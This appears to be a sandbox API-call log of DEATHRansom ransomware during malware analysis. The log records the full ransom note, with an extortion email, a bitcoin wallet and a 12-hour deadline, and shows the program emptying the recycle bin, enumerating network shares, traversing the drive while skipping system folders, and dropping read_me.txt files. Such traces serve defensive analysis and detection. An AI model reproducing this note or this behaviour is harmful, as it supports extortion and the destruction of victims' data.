[0063.734] wnsprintfA (in: pszDest=0x573e58, cchDest=1719, pszFmt="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: %s\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/" | out: pszDest="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0063.734] GetProcessHeap () returned 0x540000 [0063.734] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32a9e00 | out: hHeap=0x540000) returned 1 [0063.734] RegCloseKey (hKey=0x610) returned 0x0 [0063.736] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x1) returned 0x8000ffff [0064.362] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x13, lpNetResource=0x0, lphEnum=0x17f7e8 | out: lphEnum=0x17f7e8*=0x32fc048) returned 0x0 [0064.885] GetProcessHeap () returned 0x540000 [0064.885] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4000) returned 0x333be50 [0064.885] WNetEnumResourceW (in: hEnum=0x32fc048, lpcCount=0x17f7f0, lpBuffer=0x333be50, lpBufferSize=0x17f7ec | out: lpcCount=0x17f7f0, lpBuffer=0x333be50, lpBufferSize=0x17f7ec) returned 0x0 [0064.886] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x13, lpNetResource=0x333be50, lphEnum=0x17f7c0 | out: lphEnum=0x17f7c0*=0x32fe008) returned 0x0 [0064.889] GetProcessHeap () returned 0x540000 [0064.889] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4000) returned 0x3341ca0 [0064.890] WNetEnumResourceW (in: hEnum=0x32fe008, lpcCount=0x17f7c8, lpBuffer=0x3341ca0, lpBufferSize=0x17f7c4 | out: lpcCount=0x17f7c8, lpBuffer=0x3341ca0, lpBufferSize=0x17f7c4) returned 0x103 [0064.890] GetProcessHeap () returned 0x540000 [0064.890] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3341ca0 | out: hHeap=0x540000) returned 1 [0064.890] WNetCloseEnum (hEnum=0x32fe008) returned 0x0 [0064.890] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x13, lpNetResource=0x333be70, lphEnum=0x17f7c0 | out: lphEnum=0x17f7c0*=0x32fe008) returned 0x4b8 [0077.471] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x13, lpNetResource=0x333be90, lphEnum=0x17f7c0 | out: lphEnum=0x17f7c0*=0x32fe008) returned 0x4c6 [0077.494] WNetEnumResourceW (in: hEnum=0x32fc048, lpcCount=0x17f7f0, lpBuffer=0x333be50, lpBufferSize=0x17f7ec | out: lpcCount=0x17f7f0, lpBuffer=0x333be50, lpBufferSize=0x17f7ec) returned 0x103 [0077.494] GetProcessHeap () returned 0x540000 [0077.494] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333be50 | out: hHeap=0x540000) returned 1 [0077.494] WNetCloseEnum (hEnum=0x32fc048) returned 0x0 [0077.495] GetLogicalDriveStringsW (in: nBufferLength=0x7fff, lpBuffer=0x17f920 | out: lpBuffer="C:\\") returned 0x4 [0077.495] GetProcessHeap () returned 0x540000 [0077.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4140048 [0077.496] wnsprintfW (in: pszDest=0x4140048, cchDest=32767, pszFmt="\\\\?\\%c:" | out: pszDest="\\\\?\\C:") returned 6 [0077.496] GetProcessHeap () returned 0x540000 [0077.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4150050 [0077.497] lstrcpyW (in: lpString1=0x4150050, lpString2="\\\\?\\C:" | out: lpString1="\\\\?\\C:") returned="\\\\?\\C:" [0077.497] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 0 [0077.497] QueueUserWorkItem (Function=0x40a710, Context=0x4150050, Flags=0x0) returned 1 [0077.497] GetProcessHeap () returned 0x540000 [0077.497] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4160058 [0077.498] wnsprintfW (in: pszDest=0x4160058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\*") returned 8 [0077.498] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x17f598 | out: lpFindFileData=0x17f598*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x329bf68, dwReserved1=0x17f5e0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x32fc048 [0077.499] wnsprintfW (in: pszDest=0x4160058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\$Recycle.Bin") returned 19 [0077.499] lstrcmpW (lpString1="$Recycle.Bin", lpString2="..") returned -1 [0077.499] lstrcmpW (lpString1="$Recycle.Bin", lpString2=".") returned -1 [0077.499] StrStrW (lpFirst="$recycle.bin", lpSrch="programdata") returned 0x0 [0077.499] StrStrW (lpFirst="$recycle.bin", lpSrch="$recycle.bin") returned="$recycle.bin" [0077.499] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x17f598 | out: lpFindFileData=0x17f598*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x329bf68, dwReserved1=0x17f5e0, cFileName="Boot", cAlternateFileName="")) returned 1 [0077.499] wnsprintfW (in: pszDest=0x4160058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot") returned 11 [0077.499] lstrcmpW (lpString1="Boot", lpString2="..") returned 1 [0077.499] lstrcmpW (lpString1="Boot", lpString2=".") returned 1 [0077.499] StrStrW (lpFirst="boot", lpSrch="programdata") returned 0x0 [0077.499] StrStrW (lpFirst="boot", lpSrch="$recycle.bin") returned 0x0 [0077.499] StrStrW (lpFirst="boot", lpSrch="program files") returned 0x0 [0077.499] StrStrW (lpFirst="boot", lpSrch="windows") returned 0x0 [0077.499] StrStrW (lpFirst="boot", lpSrch="all users") returned 0x0 [0077.499] StrStrW (lpFirst="boot", lpSrch="appdata") returned 0x0 [0077.499] GetProcessHeap () returned 0x540000 [0077.499] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0077.500] lstrcpyW (in: lpString1=0x4170060, lpString2="\\\\?\\C:\\Boot" | out: lpString1="\\\\?\\C:\\Boot") returned="\\\\?\\C:\\Boot" [0077.500] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 1 [0077.500] QueueUserWorkItem (Function=0x40a710, Context=0x4170060, Flags=0x0) returned 1 [0077.500] GetProcessHeap () returned 0x540000 [0077.500] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4180068 [0077.501] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\*") returned 13 [0077.501] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x32fc1c8 [0077.501] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\.") returned 13 [0077.501] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.502] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.502] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0077.502] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\..") returned 14 [0077.502] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.502] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1 [0077.502] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\BCD") returned 15 [0077.502] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0077.502] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\BCD.LOG") returned 19 [0077.502] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0077.502] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\BCD.LOG1") returned 20 [0077.502] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0077.502] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\BCD.LOG2") returned 20 [0077.502] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0077.502] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\BOOTSTAT.DAT") returned 24 [0077.502] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0077.502] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\cs-CZ") returned 17 [0077.502] lstrcmpW (lpString1="cs-CZ", lpString2="..") returned 1 [0077.502] lstrcmpW (lpString1="cs-CZ", lpString2=".") returned 1 [0077.502] StrStrW (lpFirst="cs-cz", lpSrch="programdata") returned 0x0 [0077.502] StrStrW (lpFirst="cs-cz", lpSrch="$recycle.bin") returned 0x0 [0077.502] StrStrW (lpFirst="cs-cz", lpSrch="program files") returned 0x0 [0077.502] StrStrW (lpFirst="cs-cz", lpSrch="windows") returned 0x0 [0077.502] StrStrW (lpFirst="cs-cz", lpSrch="all users") returned 0x0 [0077.502] StrStrW (lpFirst="cs-cz", lpSrch="appdata") returned 0x0 [0077.502] GetProcessHeap () returned 0x540000 [0077.503] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4190070 [0077.503] lstrcpyW (in: lpString1=0x4190070, lpString2="\\\\?\\C:\\Boot\\cs-CZ" | out: lpString1="\\\\?\\C:\\Boot\\cs-CZ") returned="\\\\?\\C:\\Boot\\cs-CZ" [0077.503] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 2 [0077.503] QueueUserWorkItem (Function=0x40a710, Context=0x4190070, Flags=0x0) returned 1 [0077.503] GetProcessHeap () returned 0x540000 [0077.503] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41a0078 [0077.504] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\cs-CZ\\*") returned 19 [0077.504] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.517] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\cs-CZ\\.") returned 19 [0077.517] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.517] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.517] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.517] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\cs-CZ\\..") returned 20 [0077.517] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.517] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.517] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 33 [0077.517] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.517] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.517] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\cs-CZ\\read_me.txt") returned 29 [0077.517] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\read_me.txt" (normalized: "c:\\boot\\cs-cz\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a4 [0077.518] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.518] WriteFile (in: hFile=0x7a4, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f30c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f30c*=0x6b3, lpOverlapped=0x0) returned 1 [0077.519] CloseHandle (hObject=0x7a4) returned 1 [0077.520] GetProcessHeap () returned 0x540000 [0077.520] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41a0078 | out: hHeap=0x540000) returned 1 [0077.520] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1 [0077.520] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\da-DK") returned 17 [0077.520] lstrcmpW (lpString1="da-DK", lpString2="..") returned 1 [0077.520] lstrcmpW (lpString1="da-DK", lpString2=".") returned 1 [0077.520] StrStrW (lpFirst="da-dk", lpSrch="programdata") returned 0x0 [0077.520] StrStrW (lpFirst="da-dk", lpSrch="$recycle.bin") returned 0x0 [0077.520] StrStrW (lpFirst="da-dk", lpSrch="program files") returned 0x0 [0077.520] StrStrW (lpFirst="da-dk", lpSrch="windows") returned 0x0 [0077.520] StrStrW (lpFirst="da-dk", lpSrch="all users") returned 0x0 [0077.521] StrStrW (lpFirst="da-dk", lpSrch="appdata") returned 0x0 [0077.521] GetProcessHeap () returned 0x540000 [0077.521] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4150050 [0077.521] lstrcpyW (in: lpString1=0x4150050, lpString2="\\\\?\\C:\\Boot\\da-DK" | out: lpString1="\\\\?\\C:\\Boot\\da-DK") returned="\\\\?\\C:\\Boot\\da-DK" [0077.521] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 3 [0077.521] QueueUserWorkItem (Function=0x40a710, Context=0x4150050, Flags=0x0) returned 1 [0077.521] GetProcessHeap () returned 0x540000 [0077.521] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41a0078 [0077.521] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\da-DK\\*") returned 19 [0077.521] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.521] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\da-DK\\.") returned 19 [0077.521] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.521] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.521] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.521] 